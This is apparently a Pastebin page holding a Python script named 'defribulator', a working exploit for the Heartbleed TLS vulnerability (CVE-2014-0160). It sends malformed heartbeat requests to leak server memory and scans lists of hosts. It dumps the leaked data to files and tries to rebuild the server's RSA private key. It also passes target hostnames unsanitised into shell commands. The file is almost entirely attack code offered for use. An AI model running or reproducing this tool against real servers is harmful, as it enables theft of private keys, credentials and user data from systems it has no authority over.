Transfusion

heartbleed.py

Mar 29th, 2019
115
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 18.25 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. # Modified by Travis Lee
  4. # Last Updated: 4/21/14
  5. # Version 1.16
  6. #
  7. # -changed output to display text only instead of hexdump and made it easier to read
  8. # -added option to specify number of times to connect to server (to get more data)
  9. # -added option to send STARTTLS command for use with SMTP/POP/IMAP/FTP/etc...
  10. # -added option to specify an input file of multiple hosts, line delimited, with or without a port specified (host:port)
  11. # -added option to have verbose output
  12. # -added capability to automatically check if STARTTLS/STLS/AUTH TLS is supported when smtp/pop/imap/ftp ports are entered and automatically send appropriate command
  13. # -added option for hex output
  14. # -added option to output raw data to a file
  15. # -added option to output ascii data to a file
  16. # -added option to not display returned data on screen (good if doing many iterations and outputting to a file)
  17. # -added tls version auto-detection
  18. # -added an extract rsa private key mode (orig code from epixoip. will exit script when found and enables -d (do not display returned data on screen)
  19. #  -requires following modules: gmpy, pyasn1
  20.  
  21. # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])
  22. # The author disclaims copyright to this source code.
  23.  
  24. import sys
  25. import struct
  26. import socket
  27. import time
  28. import select
  29. import re
  30. import time
  31. import os
  32. from optparse import OptionParser
  33.  
  34. options = OptionParser(usage='%prog server [options]', description='Test and exploit TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)')
  35. options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
  36. options.add_option('-n', '--num', type='int', default=1, help='Number of times to connect/loop (default: 1)')
  37. options.add_option('-s', '--starttls', action="store_true", dest="starttls", help='Issue STARTTLS command for SMTP/POP/IMAP/FTP/etc...')
  38. options.add_option('-f', '--filein', type='str', help='Specify input file, line delimited, IPs or hostnames or IP:port or hostname:port')
  39. options.add_option('-v', '--verbose', action="store_true", dest="verbose", help='Enable verbose output')
  40. options.add_option('-x', '--hexdump', action="store_true", dest="hexdump", help='Enable hex output')
  41. options.add_option('-r', '--rawoutfile', type='str', help='Dump the raw memory contents to a file')
  42. options.add_option('-a', '--asciioutfile', type='str', help='Dump the ascii contents to a file')
  43. options.add_option('-d', '--donotdisplay', action="store_true", dest="donotdisplay", help='Do not display returned data on screen')
  44. options.add_option('-e', '--extractkey', action="store_true", dest="extractkey", help='Attempt to extract RSA Private Key, will exit when found. Choosing this enables -d, do not display returned data on screen.')
  45.  
  46. opts, args = options.parse_args()
  47.  
  48. if opts.extractkey:
  49.     import base64, gmpy
  50.     from pyasn1.codec.der import encoder
  51.     from pyasn1.type.univ import *
  52.  
  53. def hex2bin(arr):
  54.     return ''.join('{:02x}'.format(x) for x in arr).decode('hex')
  55.  
  56. tls_versions = {0x01:'TLSv1.0',0x02:'TLSv1.1',0x03:'TLSv1.2'}
  57.  
  58. def build_client_hello(tls_ver):
  59.     client_hello = [
  60. # TLS header ( 5 bytes)
  61. 0x16,               # Content type (0x16 for handshake)
  62. 0x03, tls_ver,         # TLS Version
  63. 0x00, 0xdc,         # Length
  64. # Handshake header
  65. 0x01,               # Type (0x01 for ClientHello)
  66. 0x00, 0x00, 0xd8,   # Length
  67. 0x03, tls_ver,         # TLS Version
  68. # Random (32 byte)
  69. 0x53, 0x43, 0x5b, 0x90, 0x9d, 0x9b, 0x72, 0x0b,
  70. 0xbc, 0x0c, 0xbc, 0x2b, 0x92, 0xa8, 0x48, 0x97,
  71. 0xcf, 0xbd, 0x39, 0x04, 0xcc, 0x16, 0x0a, 0x85,
  72. 0x03, 0x90, 0x9f, 0x77, 0x04, 0x33, 0xd4, 0xde,
  73. 0x00,               # Session ID length
  74. 0x00, 0x66,         # Cipher suites length
  75. # Cipher suites (51 suites)
  76. 0xc0, 0x14, 0xc0, 0x0a, 0xc0, 0x22, 0xc0, 0x21,
  77. 0x00, 0x39, 0x00, 0x38, 0x00, 0x88, 0x00, 0x87,
  78. 0xc0, 0x0f, 0xc0, 0x05, 0x00, 0x35, 0x00, 0x84,
  79. 0xc0, 0x12, 0xc0, 0x08, 0xc0, 0x1c, 0xc0, 0x1b,
  80. 0x00, 0x16, 0x00, 0x13, 0xc0, 0x0d, 0xc0, 0x03,
  81. 0x00, 0x0a, 0xc0, 0x13, 0xc0, 0x09, 0xc0, 0x1f,
  82. 0xc0, 0x1e, 0x00, 0x33, 0x00, 0x32, 0x00, 0x9a,
  83. 0x00, 0x99, 0x00, 0x45, 0x00, 0x44, 0xc0, 0x0e,
  84. 0xc0, 0x04, 0x00, 0x2f, 0x00, 0x96, 0x00, 0x41,
  85. 0xc0, 0x11, 0xc0, 0x07, 0xc0, 0x0c, 0xc0, 0x02,
  86. 0x00, 0x05, 0x00, 0x04, 0x00, 0x15, 0x00, 0x12,
  87. 0x00, 0x09, 0x00, 0x14, 0x00, 0x11, 0x00, 0x08,
  88. 0x00, 0x06, 0x00, 0x03, 0x00, 0xff,
  89. 0x01,               # Compression methods length
  90. 0x00,               # Compression method (0x00 for NULL)
  91. 0x00, 0x49,         # Extensions length
  92. # Extension: ec_point_formats
  93. 0x00, 0x0b, 0x00, 0x04, 0x03, 0x00, 0x01, 0x02,
  94. # Extension: elliptic_curves
  95. 0x00, 0x0a, 0x00, 0x34, 0x00, 0x32, 0x00, 0x0e,
  96. 0x00, 0x0d, 0x00, 0x19, 0x00, 0x0b, 0x00, 0x0c,
  97. 0x00, 0x18, 0x00, 0x09, 0x00, 0x0a, 0x00, 0x16,
  98. 0x00, 0x17, 0x00, 0x08, 0x00, 0x06, 0x00, 0x07,
  99. 0x00, 0x14, 0x00, 0x15, 0x00, 0x04, 0x00, 0x05,
  100. 0x00, 0x12, 0x00, 0x13, 0x00, 0x01, 0x00, 0x02,
  101. 0x00, 0x03, 0x00, 0x0f, 0x00, 0x10, 0x00, 0x11,
  102. # Extension: SessionTicket TLS
  103. 0x00, 0x23, 0x00, 0x00,
  104. # Extension: Heartbeat
  105. 0x00, 0x0f, 0x00, 0x01, 0x01
  106.     ]
  107.     return client_hello
  108.    
  109. def build_heartbeat(tls_ver):
  110.     heartbeat = [
  111. 0x18,       # Content Type (Heartbeat)
  112. 0x03, tls_ver,  # TLS version
  113. 0x00, 0x03,  # Length
  114. # Payload
  115. 0x01,       # Type (Request)
  116. 0x40, 0x00  # Payload length
  117.     ]
  118.     return heartbeat
  119.  
  120.  
  121. if opts.rawoutfile:
  122.     rawfileOUT = open(opts.rawoutfile, "a")
  123.  
  124. if opts.asciioutfile:
  125.     asciifileOUT = open(opts.asciioutfile, "a")
  126.    
  127. if opts.extractkey:
  128.     opts.donotdisplay = True
  129.    
  130. def hexdump(s):
  131.     pdat = ''
  132.     hexd = ''
  133.     for b in xrange(0, len(s), 16):
  134.         lin = [c for c in s[b : b + 16]]
  135.         if opts.hexdump:
  136.             hxdat = ' '.join('%02X' % ord(c) for c in lin)
  137.             pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
  138.             hexd += '  %04x: %-48s %s\n' % (b, hxdat, pdat)
  139.         else:
  140.             pdat += ''.join((c if ((32 <= ord(c) <= 126) or (ord(c) == 10) or (ord(c) == 13)) else '.' )for c in lin)
  141.     if opts.hexdump:
  142.         return hexd
  143.     else:
  144.         pdat = re.sub(r'([.]{50,})', '', pdat)
  145.         if opts.asciioutfile:
  146.             asciifileOUT.write(pdat)
  147.         return pdat
  148.  
  149. def rcv_tls_record(s):
  150.     try:
  151.         tls_header = s.recv(5)
  152.         if not tls_header:
  153.             print 'Unexpected EOF (header)'
  154.             return None,None,None        
  155.         typ,ver,length = struct.unpack('>BHH',tls_header)
  156.         message = ''
  157.         while len(message) != length:
  158.             message += s.recv(length-len(message))
  159.         if not message:
  160.             print 'Unexpected EOF (message)'
  161.             return None,None,None
  162.         if opts.verbose:
  163.             print 'Received message: type = {}, version = {}, length = {}'.format(typ,hex(ver),length,)
  164.         return typ,ver,message
  165.     except Exception as e:
  166.         print "\nError Receiving Record! " + str(e)
  167.         return None,None,None
  168.  
  169. def hit_hb(s, targ, firstrun, supported):
  170.     s.send(hex2bin(build_heartbeat(supported)))
  171.     while True:
  172.         typ, ver, pay = rcv_tls_record(s)
  173.         if typ is None:
  174.             print 'No heartbeat response received, server likely not vulnerable'
  175.             return ''
  176.  
  177.         if typ == 24:
  178.             if opts.verbose:
  179.                 print 'Received heartbeat response...'
  180.             if len(pay) > 3:
  181.                 if firstrun or opts.verbose:
  182.                     print '\nWARNING: ' + targ + ':' + str(opts.port) + ' returned more data than it should - server is vulnerable!'
  183.                 if opts.rawoutfile:
  184.                     rawfileOUT.write(pay)
  185.                 if opts.extractkey:
  186.                     return pay
  187.                 else:
  188.                     return hexdump(pay)
  189.             else:
  190.                 print 'Server processed malformed heartbeat, but did not return any extra data.'
  191.  
  192.         if typ == 21:
  193.             print 'Received alert:'
  194.             return hexdump(pay)
  195.             print 'Server returned error, likely not vulnerable'
  196.             return ''
  197.  
  198.  
  199. def conn(targ, port):
  200.     try:
  201.         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  202.         sys.stdout.flush()
  203.         s.settimeout(10)
  204.         #time.sleep(0.2)
  205.         s.connect((targ, port))
  206.         return s
  207.  
  208.     except Exception as e:
  209.        print "Connection Error! " + str(e)
  210.        return None
  211.        
  212. def bleed(targ, port):
  213.     try:
  214.         res = ''
  215.         firstrun = True
  216.         print '\n##################################################################'
  217.         print 'Connecting to: ' + targ + ':' + str(port) + ', ' + str(opts.num) + ' times'
  218.         for x in range(0, opts.num):
  219.             if x > 0:
  220.                 firstrun = False
  221.            
  222.             if x == 0 and opts.extractkey:
  223.                 print "Attempting to extract private key from returned data..."
  224.                 if not os.path.exists('./hb-certs'):
  225.                     os.makedirs('./hb-certs')
  226.                 print '\nGrabbing public cert from: ' + targ + ':' + str(port) + '\n'
  227.                 os.system('echo | openssl s_client -connect ' + targ + ':' + str(port) + ' -showcerts | openssl x509 > hb-certs/sslcert_' + targ + '.pem') 
  228.                 print '\nExtracting modulus from cert...\n'
  229.                 os.system('openssl x509 -pubkey -noout -in hb-certs/sslcert_' + targ + '.pem > hb-certs/sslcert_' + targ + '_pubkey.pem')
  230.                 output = os.popen('openssl x509 -in hb-certs/sslcert_' + targ + '.pem -modulus -noout | cut -d= -f2')
  231.                 modulus = output.read()
  232.            
  233.             s = conn(targ, port)
  234.             if not s:
  235.                 continue
  236.  
  237.             # send starttls command if specified as an option or if common smtp/pop3/imap ports are used
  238.             if (opts.starttls) or (port in {25, 587, 110, 143, 21}):
  239.                
  240.                 stls = False
  241.                 atls = False
  242.                
  243.                 # check if smtp supports starttls/stls
  244.                 if port in {25, 587}:
  245.                     print 'SMTP Port... Checking for STARTTLS Capability...'
  246.                     check = s.recv(1024)
  247.                     s.send("EHLO someone.org\n")
  248.                     sys.stdout.flush()
  249.                     check += s.recv(1024)
  250.                     if opts.verbose:
  251.                         print check
  252.                                        
  253.                     if "STARTTLS" in check:
  254.                         opts.starttls = True
  255.                         print "STARTTLS command found"
  256.                     elif "STLS" in check:
  257.                         opts.starttls = True
  258.                         stls = True
  259.                         print "STLS command found"
  260.                     else:
  261.                         print "STARTTLS command NOT found!"
  262.                         print '##################################################################'
  263.                         return
  264.                
  265.                 # check if pop3/imap supports starttls/stls                            
  266.                 elif port in {110, 143}:
  267.                     print 'POP3/IMAP4 Port... Checking for STARTTLS Capability...'
  268.                     check = s.recv(1024)
  269.                     if port == 110:
  270.                         s.send("CAPA\n")
  271.                     if port == 143:
  272.                         s.send("CAPABILITY\n")
  273.                     sys.stdout.flush()
  274.                     check += s.recv(1024)
  275.                     if opts.verbose:
  276.                         print check
  277.                                            
  278.                     if "STARTTLS" in check:
  279.                         opts.starttls = True
  280.                         print "STARTTLS command found"
  281.                     elif "STLS" in check:
  282.                         opts.starttls = True
  283.                         stls = True
  284.                         print "STLS command found"
  285.                     else:
  286.                         print "STARTTLS command NOT found!"
  287.                         print '##################################################################'
  288.                         return
  289.                        
  290.                 # check if ftp supports auth tls/starttls                          
  291.                 elif port in {21}:
  292.                     print 'FTP Port... Checking for AUTH TLS Capability...'
  293.                     check = s.recv(1024)
  294.                     s.send("FEAT\n")
  295.                     sys.stdout.flush()
  296.                     check += s.recv(1024)
  297.                     if opts.verbose:
  298.                         print check
  299.                        
  300.                     if "STARTTLS" in check:
  301.                         opts.starttls = True
  302.                         print "STARTTLS command found"
  303.                     elif "AUTH TLS" in check:
  304.                         opts.starttls = True
  305.                         atls = True
  306.                         print "AUTH TLS command found"
  307.                     else:
  308.                         print "STARTTLS command NOT found!"
  309.                         print '##################################################################'
  310.                         return
  311.                                        
  312.                 # send appropriate tls command if supported                        
  313.                 if opts.starttls:      
  314.                     sys.stdout.flush()
  315.                     if stls:
  316.                         print 'Sending STLS Command...'
  317.                         s.send("STLS\n")
  318.                     elif atls:
  319.                         print 'Sending AUTH TLS Command...'
  320.                         s.send("AUTH TLS\n")
  321.                     else:
  322.                         print 'Sending STARTTLS Command...'
  323.                         s.send("STARTTLS\n")
  324.                     if opts.verbose:
  325.                         print 'Waiting for reply...'
  326.                     sys.stdout.flush()
  327.                     rcv_tls_record(s)
  328.  
  329.             supported = False
  330.             for num,tlsver in tls_versions.items():
  331.                
  332.                 if firstrun:
  333.                     print 'Sending Client Hello for {}'.format(tlsver)
  334.                 s.send(hex2bin(build_client_hello(num)))
  335.                
  336.                 if opts.verbose:
  337.                     print 'Waiting for Server Hello...'
  338.                
  339.                 while True:
  340.                     typ,ver,message = rcv_tls_record(s)
  341.                     if not typ:
  342.                         if opts.verbose:
  343.                             print 'Server closed connection without sending ServerHello for {}'.format(tlsver)
  344.                         s.close()
  345.                         s = conn(targ, port)
  346.                         break
  347.                     if typ == 22 and ord(message[0]) == 0x0E:
  348.                         if firstrun:
  349.                             print 'Received Server Hello for {}'.format(tlsver)
  350.                         supported = True
  351.                         break
  352.                 if supported: break
  353.  
  354.             if not supported:
  355.                 print '\nError! No TLS versions supported!'
  356.                 print '##################################################################'
  357.                 return
  358.  
  359.             if opts.verbose:
  360.                 print '\nSending heartbeat request...'
  361.             sys.stdout.flush()
  362.            
  363.             keyfound = False
  364.             if opts.extractkey:
  365.                 res = hit_hb(s, targ, firstrun, supported)
  366.                 if res == '':
  367.                     continue
  368.                 keyfound = extractkey(targ, res, modulus)
  369.             else:
  370.                 res += hit_hb(s, targ, firstrun, supported)
  371.             s.close()
  372.             if keyfound:
  373.                 sys.exit(0)
  374.             else:
  375.                 sys.stdout.write('\rPlease wait... connection attempt ' + str(x+1) + ' of ' + str(opts.num))
  376.                 sys.stdout.flush()
  377.        
  378.         print '\n##################################################################'
  379.         print      
  380.         return res
  381.    
  382.     except Exception as e:
  383.        print "Error! " + str(e)
  384.        print '##################################################################'
  385.        print              
  386.  
  387. def extractkey(host, chunk, modulus):
  388.    
  389.     #print "\nChecking for private key...\n"
  390.     n = int (modulus, 16)
  391.     keysize = n.bit_length() / 16
  392.  
  393.     for offset in xrange (0, len (chunk) - keysize):
  394.         p = long (''.join (["%02x" % ord (chunk[x]) for x in xrange (offset + keysize - 1, offset - 1, -1)]).strip(), 16)
  395.         if gmpy.is_prime (p) and p != n and n % p == 0:
  396.             if opts.verbose:
  397.                 print '\n\nFound prime: ' + str(p)
  398.             e = 65537
  399.             q = n / p
  400.             phi = (p - 1) * (q - 1)
  401.             d = gmpy.invert (e, phi)
  402.             dp = d % (p - 1)
  403.             dq = d % (q - 1)
  404.             qinv = gmpy.invert (q, p)
  405.             seq = Sequence()
  406.             for x in [0, n, e, d, p, q, dp, dq, qinv]:
  407.                 seq.setComponentByPosition (len (seq), Integer (x))
  408.             print "\n\n-----BEGIN RSA PRIVATE KEY-----\n%s-----END RSA PRIVATE KEY-----\n\n" % base64.encodestring(encoder.encode (seq))
  409.             privkeydump = open("hb-certs/privkey_" + host + ".dmp", "a")
  410.             privkeydump.write(chunk)
  411.             return True
  412.         else:
  413.             return False
  414.  
  415. def main():
  416.  
  417.     print "\ndefribulator v1.16"
  418.     print "A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)"
  419.     allresults = ''
  420.                    
  421.     # if a file is specified, loop through file
  422.     if opts.filein:
  423.         fileIN = open(opts.filein, "r")
  424.        
  425.         for line in fileIN:
  426.             targetinfo = line.strip().split(":")
  427.             if len(targetinfo) > 1:
  428.                 allresults = bleed(targetinfo[0], int(targetinfo[1]))
  429.             else:
  430.                 allresults = bleed(targetinfo[0], opts.port)
  431.            
  432.             if allresults and (not opts.donotdisplay):
  433.                 print '%s' % (allresults)
  434.  
  435.         fileIN.close()
  436.  
  437.     else:
  438.         if len(args) < 1:
  439.             options.print_help()
  440.             return
  441.         allresults = bleed(args[0], opts.port)
  442.         if allresults and (not opts.donotdisplay):
  443.             print '%s' % (allresults)
  444.    
  445.     print
  446.    
  447.     if opts.rawoutfile:
  448.         rawfileOUT.close()
  449.    
  450.     if opts.asciioutfile:
  451.         asciifileOUT.close()
  452.            
  453. if __name__ == '__main__':
  454.     main()
Add Comment
Please, Sign In to add comment